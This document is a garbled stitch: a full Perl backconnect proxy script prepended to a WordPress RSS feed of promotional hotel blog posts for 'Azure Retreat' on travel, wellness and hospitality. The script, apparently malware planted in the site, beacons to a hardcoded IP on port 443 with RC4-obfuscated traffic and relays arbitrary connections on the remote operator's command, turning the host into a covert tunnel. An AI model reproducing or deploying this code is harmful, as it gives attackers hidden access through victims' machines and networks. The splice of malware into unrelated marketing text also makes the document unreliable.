#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.153'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); Travelers Archives - Azure Retreat https://azure-retreat.brightdel.com/tag/travelers/ Azure Retreat Sat, 19 Jul 2025 14:04:05 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.3 https://azure-retreat.brightdel.com/wp-content/uploads/2025/07/Azure-Retreat-2-New-120x120.png Travelers Archives - Azure Retreat https://azure-retreat.brightdel.com/tag/travelers/ 32 32 Planning the Perfect Getaway: What to Look for in a Hotel https://azure-retreat.brightdel.com/planning-the-perfect-getaway-what-to-look-for-in-a-hotel/ https://azure-retreat.brightdel.com/planning-the-perfect-getaway-what-to-look-for-in-a-hotel/#respond Sat, 19 Jul 2025 12:37:09 +0000 https://azure-retreat.brightdel.com/?p=475 Planning the Perfect Getaway: What to Look for in a Hotel Introduction:With so many accommodation options, choosing the right hotel […]

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Planning the Perfect Getaway: What to Look for in a Hotel


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With so many accommodation options, choosing the right hotel can be overwhelming. Here’s what to consider when planning your next relaxing escape.


1. Location & Ambiance: Look for places that reflect the mood you want — peaceful beachside or energetic city center?

2. Room Comfort & Amenities: Check for quality bedding, views, and details that matter to you — from bathtubs to blackout curtains.

3. Nutrition & Dining Options: Do they offer healthy meals or cater to special diets?

4. Hospitality: Read reviews on service — warmth and personalization make all the difference.

5. Experience Enhancers: Are there excursions, yoga sessions, or cultural activities available?

Conclusion:
A perfect getaway isn’t just about the destination — it’s about the place you come home to at night. Make sure it reflects your style, needs, and values — just like Azure Retreat does for every guest.

 

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How Hotels Can Promote Wellness Beyond the Spa https://azure-retreat.brightdel.com/how-hotels-can-promote-wellness-beyond-the-spa/ https://azure-retreat.brightdel.com/how-hotels-can-promote-wellness-beyond-the-spa/#respond Sat, 19 Jul 2025 12:15:03 +0000 https://azure-retreat.brightdel.com/?p=464 How Hotels Can Promote Wellness Beyond the Spa Introduction:Wellness isn’t just a trend — it’s a lifestyle, and guests are

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How Hotels Can Promote Wellness Beyond the Spa


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Wellness isn’t just a trend — it’s a lifestyle, and guests are increasingly looking for holistic experiences when they travel. While spas are great, true wellness touches all aspects of a hotel stay.

 

1. Room Design: Natural lighting, aromatherapy options, and noise insulation help create restful spaces.

2. Nutrition-Focused Menus: Offering whole foods, plant-based options, and locally sourced ingredients supports wellness from within.

3. Quiet Zones & Mindfulness Spaces: Areas for reading, journaling, or meditation allow guests to unplug.

4. Wellness Programming: Activities like yoga, beach walks, or cooking classes enhance physical and mental wellbeing.

Conclusion:
At Azure Retreat, we integrate wellness into our design, food, and guest experience — creating an environment where your whole self can thrive.

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What Makes a Boutique Hotel Experience So Special? https://azure-retreat.brightdel.com/what-makes-a-boutique-hotel-experience-so-special/ https://azure-retreat.brightdel.com/what-makes-a-boutique-hotel-experience-so-special/#respond Sat, 19 Jul 2025 11:13:43 +0000 https://azure-retreat.brightdel.com/?p=404 What Makes a Boutique Hotel Experience So Special? Introduction:Boutique hotels offer an atmosphere that’s rich in charm, individuality, and authenticity.

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What Makes a Boutique Hotel Experience So Special?


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Boutique hotels offer an atmosphere that’s rich in charm, individuality, and authenticity. Unlike chain hotels, they focus on personal connection, unique design, and curated experiences. But what exactly sets them apart?

1. Unique Design Aesthetic: Each boutique hotel has its own story. At Azure Retreat, coastal elegance inspires every room — from the colors on the wall to the locally handcrafted décor.

2. Personalized Service: With fewer rooms, staff can deliver highly tailored experiences. From knowing your name to customizing your stay, you’re treated like a guest, not a reservation number.

3. Local Flavor: Boutique hotels highlight the destination. Expect farm-to-table cuisine, local art, and recommendations that go beyond tourist brochures.

4. Quiet Luxury: It’s not about being extravagant — it’s about meaningful luxury: tranquility, privacy, and genuine comfort.

Conclusion:
At Azure Retreat, every element is curated with intention. It’s not just a stay — it’s a story worth experiencing.

 

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5 Nutrition Tips for Travelers Staying at a Hotel https://azure-retreat.brightdel.com/5-nutrition-tips-for-travelers-staying-at-a-hotel/ https://azure-retreat.brightdel.com/5-nutrition-tips-for-travelers-staying-at-a-hotel/#respond Sat, 19 Jul 2025 11:09:41 +0000 https://azure-retreat.brightdel.com/?p=400 5 Nutrition Tips for Travelers Staying at a Hotel Introduction:Travel can disrupt your eating habits, but it doesn’t have to

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5 Nutrition Tips for Travelers Staying at a Hotel


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Travel can disrupt your eating habits, but it doesn’t have to derail your health. Whether you’re on vacation or a business trip, staying nourished is key to enjoying your experience to the fullest. Here are five practical nutrition tips every hotel guest should follow.

1. Start with a Balanced Breakfast: Begin your day with a mix of protein, fiber, and healthy fats. At Azure Retreat, our breakfast options include yogurt parfaits, whole grain toasts, and tropical fruit platters.

2. Stay Hydrated: Travel can dehydrate you. Carry a reusable water bottle and take advantage of in-room herbal teas or infused water stations.

3. Mind the Mini Bar: Skip the sugary snacks. Opt for healthier alternatives like dried fruits, nuts, or ask if the hotel offers wellness snack packs.

4. Don’t Skip Meals: It’s easy to get caught up in exploring. Plan meal times to maintain energy levels and avoid late-night cravings.

5. Ask for Custom Options: Don’t hesitate to request lighter or gluten-free meals. Boutique hotels like Azure Retreat are flexible and happy to accommodate.

Conclusion:
Good nutrition supports better energy, mood, and sleep — all crucial for travel. With a little mindfulness, you can stay healthy without compromising your trip.

 

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The Art of Hospitality: Why Small Touches Make a Big Difference https://azure-retreat.brightdel.com/the-art-of-hospitality-why-small-touches-make-a-big-difference/ https://azure-retreat.brightdel.com/the-art-of-hospitality-why-small-touches-make-a-big-difference/#respond Sat, 19 Jul 2025 11:04:25 +0000 https://azure-retreat.brightdel.com/?p=395 The Art of Hospitality: Why Small Touches Make a Big Difference Introduction:True hospitality is an experience — one that touches

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The Art of Hospitality: Why Small Touches Make a Big Difference


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True hospitality is an experience — one that touches the heart through small gestures and meaningful attention. In an era where automated service and impersonal interactions dominate the industry, boutique hotels like Azure Retreat stand out by offering thoughtful details that make guests feel genuinely seen, heard, and cared for.

From the moment guests arrive, the experience begins: a warm smile at check-in, a scented towel, and perhaps a personalized welcome note in the room. These aren’t just nice extras; they’re deliberate touches that transform a stay into a cherished memory.

At Azure Retreat, we believe in anticipating needs before they’re spoken. That might mean remembering a returning guest’s favorite tea or offering a local dining recommendation based on a quick conversation. Hospitality, at its core, is about empathy and connection.

The little things — soft lighting, curated playlists, quality toiletries, or even just a well-placed chair for stargazing — make all the difference. They tell your guests: “You matter here.”

Conclusion:
It’s often the small touches that linger long after checkout. At Azure Retreat, we continue to redefine hospitality — not by doing more, but by doing what matters most.

 

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